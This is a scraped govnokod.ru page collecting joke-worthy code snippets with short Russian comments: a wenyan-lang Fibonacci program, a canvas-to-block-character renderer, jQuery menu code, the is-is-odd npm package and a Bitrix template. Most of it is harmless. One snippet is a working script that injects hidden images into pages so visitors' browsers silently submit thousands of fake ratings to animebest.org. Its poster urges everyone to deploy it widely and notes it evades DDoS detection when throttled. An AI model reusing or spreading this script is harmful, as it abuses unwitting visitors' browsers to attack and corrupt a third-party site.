- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
吾有一術。名之曰「斐波那契」。欲行是術。必先得一數。曰「甲」。乃行是術曰。
若「甲」等於零者乃得零也
若「甲」等於一者乃得一也
減「甲」以一。減「甲」以二。名之曰「乙」。曰「丙」。
施「斐波那契」於「乙」。名之曰「丁」。
施「斐波那契」於「丙」。名之曰「戊」。
加「丁」以「戊」。名之曰「己」。
乃得「己」。
是謂「斐波那契」之術也。
施「斐波那契」於十二。書之。
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+1
吾有一術。名之曰「斐波那契」。欲行是術。必先得一數。曰「甲」。乃行是術曰。
若「甲」等於零者乃得零也
若「甲」等於一者乃得一也
減「甲」以一。減「甲」以二。名之曰「乙」。曰「丙」。
施「斐波那契」於「乙」。名之曰「丁」。
施「斐波那契」於「丙」。名之曰「戊」。
加「丁」以「戊」。名之曰「己」。
乃得「己」。
是謂「斐波那契」之術也。
施「斐波那契」於十二。書之。
文言 wenyan-lang
Числа Фибоначчи.
https://github.com/wenyan-lang/wenyan
0
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<canvas id='pixel_canvas'></canvas>
<pre id='text_canvas'></pre>
<script>
'use strict';
function tryFetch() {
const array = arguments[0];
const onError = arguments[arguments.length - 1];
let result = array;
for (let i = 1; i < arguments.length - 1; ++i) {
if (arguments[i] < result.length) {
result = result[arguments[i]];
} else {
return onError;
}
}
return result;
}
function bitmap2tetramap(bitmap) {
let tetramap = []
for (let i = 0; i < bitmap.length; i += 2) {
tetramap.push([]);
for (let j = 0; j < bitmap[i].length; j += 2) {
tetramap[tetramap.length - 1].push(
tryFetch(bitmap, i, j, 0) << 3 |
tryFetch(bitmap, i, j + 1, 0) << 2 |
tryFetch(bitmap, i + 1, j, 0) << 1 |
tryFetch(bitmap, i + 1, j + 1, 0)
);
}
}
return tetramap;
}
function renderTetramap(tetramap) {
const tiles = [
' ', '▗', '▖', '▄',
'▝', '▐', '▞', '▟',
'▘', '▚', '▌', '▙',
'▀', '▜', '▛', '█'
];
return tetramap.map(row => row.map(i => tiles[i]).join('')).join('<br>');
}
function renderBitmap(bitmap) {
return renderTetramap(bitmap2tetramap(bitmap));
}
function rgba2bitmap(rgba, width, height) {
let bitmap = [];
for (let i = 0; i < height; ++i) {
bitmap.push([]);
for (let j = 0; j < width; ++j) {
const currentRGBAElementIndex = (i * width * 4) + j * 4;
const red = rgba[currentRGBAElementIndex];
const green = rgba[currentRGBAElementIndex + 1];
const blue = rgba[currentRGBAElementIndex + 2];
const a = rgba[currentRGBAElementIndex + 3];
bitmap[i].push((red + green + blue + a) / 4 > 0? 1 : 0);
}
}
return bitmap;
}
function renderImageData(imageData) {
return renderBitmap(rgba2bitmap(imageData.data, imageData.width, imageData.height));
}
const ctx = pixel_canvas.getContext("2d");
ctx.font = "16px serif";
ctx.fillText("Какой багор )))", 0, 16);
text_canvas.innerHTML = renderImageData(ctx.getImageData(0, 0, pixel_canvas.width, pixel_canvas.height));
</script>
</body>
+2
function isNative (Ctor){
return typeof Ctor === 'function' && /native code/.test(Ctor.toString())
}
https://habr.com/ru/company/ruvds/blog/503634/
>>> 5 интересных JavaScript-находок, сделанных в исходном коде Vue
0
$openTab.on('click', function () {
$('.c-header__nav__level-1').hide();
$('.c-header__nav__level-back').show();
$tabContent.show();
});
//показываем меню 1 уровня когда нажимаем на бургер
$('.c-header__toggler--burger').on('click', function () {
$('.c-header__toggler').toggle();
$('.c-header__nav__level-1').fadeIn();
$('body').addClass('body-no-scroll');
});
//скрытие на кнопку закрытие
$('.c-header__toggler--close').on('click', function () {
$('.c-header__toggler').toggle(); //сама кнопка
$('.c-header__nav__level-1').fadeOut(); //закрываем первый уровень
$tabContent.fadeOut(); //закрываем второй уровень
setTimeout(function () { //тайм-аут для восстановления 2 уровня по умолчанию
$('.c-header__nav__level-2-item--show').removeClass('c-header__nav__level-2-item--show');
$('.c-header__nav__level-2-item').show();
}, 800);
$('.c-header__nav__level-3').fadeOut(); //закрываем 3 уровень
$('.c-header__nav__back').fadeOut(); // закрываем все кнопки 'назад'
$('body').removeClass('body-no-scroll');
});
//кнопка "назад" со 2 на 1 уровень
$('.c-header__nav__level-back').on('click', function () {
$(this).hide().parent().hide().prev().show();
});
$('.c-header__nav__level-2-back').on('click', function () {
$(this).hide();
$(this).prev().show();
$('.c-header__nav__level-2').removeClass('is-active');
});
//кнопка "назад" с 3 на 2 уровень
$('.c-header__nav__level-3-back').on('click', function () {
$(this).hide()
.parent().find('.c-header__nav__level-2-item--show').removeClass('c-header__nav__level-2-item--show'); // восстановления 2 уровня по умолчанию
$('.c-header__nav__level-2-item').show(); // восстановления 2 уровня по умолчанию
$('.c-header__nav__level-2-back').show(); //восстанавливаем кнопку "назад" 2 уровня
$('.c-header__nav__level-3').hide(); //закрываем 3 уровень
});
//переход с 2 на 3 уровень
$('.c-header__nav__level-2-item').on('click', function () {
$('.c-header__nav__level-2-item').not($(this)).hide(); //закрываем весь 2 уровень кроме нажатого
$(this).addClass('c-header__nav__level-2-item--show'); //стили для нажатого 2 уровня
$('.c-header__nav__level-2-back').hide(); //скрываем кнопку "назад" 2 уровня
$('.c-header__nav__level-3').show(); // показываем кнопку "назад" 3 уровня
$('.c-header__nav__level-3-back').show(); //показываем 3 уровень
});
//новое меню
$('body').on('click', '.c-header__nav__level-left__link.parent', function (e) {
e.preventDefault();
$(this).next('ul').addClass('is-active');
$('.c-header__nav__level-2-back').show();
$('.c-header__nav__level-back').hide();
});
Главное, что задокументировано
0
<script src="3.js"></script>
<script> alert("part2") </script>
<script src="1.js"></script>
в 3.js
'use strict'
let age = Number(null)
alert(age)
почему-то результат разный = то part2 то 0, ничего не меняю, просто результат разный каждый раз
+1
(() => {
const urlPrefix = 'https://distrochooser.de/en/';
const msgs = [];
let msg = '';
for (let i = 479076; i > 0; --i) {
const url = urlPrefix + i;
if (msg.length + url.length + 1 < 2000) {
msg += '\n';
msg += url;
} else {
msgs.push(msg);
msg = url;
}
}
return msgs;
})()
Проходим мимо, не обращаем внимания.
Ведутся SEO-работы.
+4
'use strict';
const isOdd = require("is-odd");
module.exports = function isIsOdd(func) {
return func == isOdd;
}
https://www.npmjs.com/package/is-is-odd
Why
Some functions are not is-odd but they might make you think they're is-odd, this package helps you identify these functions with a simple interface.
Нить бессмысленных npm-модулей.
0
$('#spheres__street-nav').hover(function () {
$('.header-submenu__spheres-nav__item').removeClass('active');
$('.header-submenu__spheres-menu').removeClass('active');
$(this).addClass('active');
$('#spheres__street-content').addClass('active');
});
$('#spheres__sport-nav').hover(function () {
$('.header-submenu__spheres-nav__item').removeClass('active');
$('.header-submenu__spheres-menu').removeClass('active');
$(this).addClass('active');
$('#spheres__sport-content').addClass('active');
});
$('#spheres__prom-nav').hover(function () {
$('.header-submenu__spheres-nav__item').removeClass('active');
$('.header-submenu__spheres-menu').removeClass('active');
$(this).addClass('active');
$('#spheres__prom-content').addClass('active');
});
Когда не можешь загуглить, как делаются табы
+1
<script>
document.addEventListener('DOMContentLoaded', function() {
for(let i=1; i<50; i++) {
let num = getRandomIntInclusive(1, 4447);
let img = document.createElement('img');
let img2 = document.createElement('img');
let img3 = document.createElement('img');
img.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=video&go_rate=1';
img2.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=gameplay&go_rate=1';
img3.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=sound&go_rate=1';
img.style.position = img2.style.position = img3.style.position = 'fixed';
img.style.top = img2.style.top = img3.style.top = '-50000px';
document.body.append(img);
document.body.append(img2);
document.body.append(img3);
}
});
function getRandomIntInclusive(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>
Ахуенный код чтобпоказать админам что они долбоёбы и нехуй юзать get pапросы!
Поставил на несколько своих сайтов где по 300-400 просмотров в месяц. Но я также нуждаюсь в вашей поддержке, ставьте его везде где только можно!
Не палится ддосом если запускать раз в пару минут!! По моим подсчётам через год у них будут в минусе все аниме
Но если вы поддержите меня то это случится даже быстрееееееее
0
<script>
if (!window.BX && top.BX)
window.BX = top.BX;
<?CMedialib::AppendLangMessages();?>
window.<?= $arConfig['event']?> = function(bLoadJS)
{
if (window.oBXMedialib && window.oBXMedialib.bOpened)
return false;
<?if(!CMedialib::CanDoOperation('medialib_view_collection', 0)):?>
return alert(ML_MESS.AccessDenied);
<?else:?>
if (!window.BXMediaLib)
{
if (bLoadJS !== false)
{
// Append CSS
BX.loadCSS("/bitrix/js/fileman/medialib/medialib.css");
var arJS = [];
if (!window.jsAjaxUtil)
arJS.push("/bitrix/js/main/ajax.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/main/ajax.js')?>");
if (!window.jsUtils)
arJS.push("/bitrix/js/main/utils.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/main/utils.js')?>");
if (!window.CHttpRequest)
arJS.push("/bitrix/js/main/admin_tools.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/main/admin_tools.js')?>");
arJS.push("/bitrix/js/fileman/medialib/common.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/fileman/medialib/common.js')?>");
arJS.push("/bitrix/js/fileman/medialib/core.js?v=<?= filemtime($_SERVER["DOCUMENT_ROOT"].'/bitrix/js/fileman/medialib/core.js')?>");
BX.loadScript(arJS);
}
return setTimeout(function(){<?=$arConfig['event']?>(false)}, 50);
}
<?CMedialib::ShowJS()?>
<?
$arSet = explode(',' , CUserOptions::GetOption("fileman", "medialib_user_set", '600,450,0'));
$width = $arSet[0] ? intVal($arSet[0]) : 600;
$height = $arSet[1] ? intVal($arSet[1]) : 450;
$coll_id = $arSet[2] ? intVal($arSet[2]) : 0;
?>
window._mlUserSettings = window._mlUserSettings || {width: <?=$width?>, height: <?=$height?>, coll_id: <?=$coll_id?>}
var oConfig =
{
sessid: "<?=bitrix_sessid()?>",
thumbWidth : <?= COption::GetOptionInt('fileman', "ml_thumb_width", 140)?>,
thumbHeight : <?= COption::GetOptionInt('fileman', "ml_thumb_height", 105) ?>,
userSettings : window._mlUserSettings,
resType: "<?= $resultDest?>",
Types : <?= CUtil::PhpToJSObject(CMedialib::GetTypes($arConfig['types']))?>,
arResultDest : <?= CUtil::PhpToJSObject($arConfig['arResultDest'])?>,
rootAccess: {
new_col: '<?= CMedialib::CanDoOperation('medialib_new_collection', 0)?>',
edit: '<?= CMedialib::CanDoOperation('medialib_edit_collection', 0)?>',
del: '<?= CMedialib::CanDoOperation('medialib_del_collection', 0)?>',
new_item: '<?= CMedialib::CanDoOperation('medialib_new_item', 0)?>',
edit_item: '<?= CMedialib::CanDoOperation('medialib_edit_item', 0)?>',
del_item: '<?= CMedialib::CanDoOperation('medialib_del_item', 0)?>',
access: '<?= CMedialib::CanDoOperation('medialib_access', 0)?>'
},
bCanUpload: <?= $USER->CanDoOperation('fileman_upload_files') ? 'true' : 'false'?>,
bCanViewStructure: <?= $USER->CanDoOperation('fileman_view_file_structure') ? 'true' : 'false'?>,
strExt : "<?= CUtil::JSEscape(CMedialib::GetMediaExtentions())?>",
lang : "<?= $arConfig['lang']?>",
description_id : '<?= CUtil::JSEscape($arConfig['description_id'])?>'
};
window.oBXMedialib = new BXMediaLib(oConfig);
oBXMedialib.Open();
<?endif;?>
};
</script>